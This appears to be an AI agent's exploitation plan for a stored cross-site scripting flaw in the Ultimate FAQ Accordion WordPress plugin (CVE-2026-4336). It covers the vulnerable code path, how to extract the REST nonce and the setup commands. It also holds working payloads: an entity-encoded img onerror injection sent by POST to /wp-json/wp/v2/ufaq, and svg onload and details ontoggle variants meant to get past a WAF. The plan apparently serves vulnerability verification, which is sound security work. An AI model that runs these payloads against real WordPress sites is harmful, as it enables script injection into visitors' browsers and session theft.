Exploitation Research Plan: CVE-2026-4336 - Ultimate FAQ Accordion Plugin Stored XSS

1. Vulnerability Summary

The Ultimate FAQ Accordion Plugin (<= 2.4.7) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability arises because the plugin intentionally decodes HTML entities in FAQ content using html_entity_decode() during the rendering process in ewdufaqViewFAQ::set_display_variables() (located in views/View.FAQ.class.php).

Because WordPress's default kses sanitization (applied during post saving) treats HTML entities (like <script>) as literal text rather than HTML tags, it allows them to be stored in the database. When the plugin renders the FAQ, it decodes these entities back into executable HTML tags and echoes them in the faq-answer.php template without subsequent escaping (like wp_kses_post()). Since the ufaq custom post type is exposed via the REST API with default post capabilities, an Author-level user can exploit this to inject arbitrary scripts.

2. Attack Vector Analysis

• Endpoint: WordPress REST API /wp-json/wp/v2/ufaq
• Vulnerable Hook/Action: the_content (indirectly via the plugin's custom rendering logic)
• HTTP Parameter: content (within the JSON body of the REST request)
• Authentication Required: Author-level credentials (or any role with edit_posts capability for the ufaq post type).
• Preconditions: The ufaq post type must be registered (default behavior of the plugin).

3. Code Flow

1. Entry (Save): An Author user sends a POST request to /wp-json/wp/v2/ufaq with a payload containing HTML entities: {"title": "XSS Test", "content": "<img src=x onerror=alert(document.domain)>", "status": "publish"}.
2. Sanitization Bypass: WordPress core receives the content. kses sees < and > as plain text entities, not tags, and allows them to be saved to wp_posts.post_content.
3. Processing (Render): A user views the FAQ page. The plugin initializes ewdufaqViewFAQ.
4. Vulnerable Sink 1: Inside ewdufaqViewFAQ::set_display_variables() (approx line 746 in views/View.FAQ.class.php), the code performs:

   $this->faq_answer = html_entity_decode( $this->faq->post->post_content, ENT_QUOTES, 'UTF-8' );
   

   This converts <img ... > back to <img ... >.
5. Vulnerable Sink 2: ewdufaqViewFAQ::print_faq_answer() finds and includes the template ewd-ufaq-templates/faq-answer.php.
6. Final Execution: In faq-answer.php:

   <?php echo $this->faq_answer; ?>
   

   The decoded, unsanitized HTML is written directly to the response buffer.

4. Nonce Acquisition Strategy

The WordPress REST API requires a _wpnonce header (X-WP-Nonce) for authenticated state-changing requests.

1. Step 1: Log in to WordPress as the Author user.
2. Step 2: Navigate to the WordPress Dashboard (/wp-admin/).
3. Step 3: Use browser_eval to extract the REST nonce from the wpApiSettings object globally available in the admin UI:

   browser_eval("window.wpApiSettings?.nonce")
   

4. Verification: Ensure the returned value is a 10-character alphanumeric string.

5. Exploitation Strategy

Step 1: Authentication and Nonce Retrieval

Use the http_request tool to log in as an Author and browser_navigate / browser_eval to grab the REST nonce as described in Section 4.

Step 2: Create Malicious FAQ via REST API

Submit the XSS payload encoded as entities.

• Method: POST
• URL: /wp-json/wp/v2/ufaq
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: [EXTRACTED_NONCE]
• Body:

{
  "title": "Security FAQ",
  "content": "This is a normal answer. <img src=x onerror=alert(document.domain)>",
  "status": "publish"
}

Step 3: Trigger XSS

• URL: Access the link provided in the REST API response (the permalink of the new ufaq post).
• Alternative: Create a standard page with the shortcode [ultimate-faqs] and navigate to it.

6. Test Data Setup

1. User Creation:

   wp user create attacker attacker@example.com --role=author --user_pass=password123
   

2. Plugin Configuration: Ensure the plugin is active.

   wp plugin activate ultimate-faqs
   

7. Expected Results

• The REST API should return 201 Created.
• When navigating to the FAQ permalink, the HTML source should contain <img src=x onerror=alert(document.domain)> instead of the encoded < entities.
• A JavaScript alert dialog should appear in the browser.

8. Verification Steps

1. Database Check: Verify the content is stored in entity form (safe).

   wp db query "SELECT post_content FROM wp_posts WHERE post_type='ufaq' ORDER BY ID DESC LIMIT 1"
   

   Expected output: Contains <img ... >
2. Frontend Check: Use http_request to fetch the FAQ page and grep for the decoded tag.

   # (Pseudocode for agent)
   response = http_request(URL_OF_FAQ)
   if "<img src=x onerror=alert(document.domain)>" in response.body:
       print("Vulnerability Confirmed: Entities decoded and rendered raw.")
   

9. Alternative Approaches

• Gutenberg Block: If the REST API is restricted, try creating the post via the Gutenberg editor (which also uses the REST API internally) using browser_click and browser_type.
• Shortcode Attribute: If the post_content vector is patched, check if FAQ attributes (like categories or tags) are also passed through html_entity_decode in set_display_variables().
• Payload Variety: If onerror is blocked by a WAF, use <details open ontoggle=alert(1)> or <svg onload=alert(1)>. Because the sink is a literal html_entity_decode, any entity-encoded tag will bypass the initial save-time filter.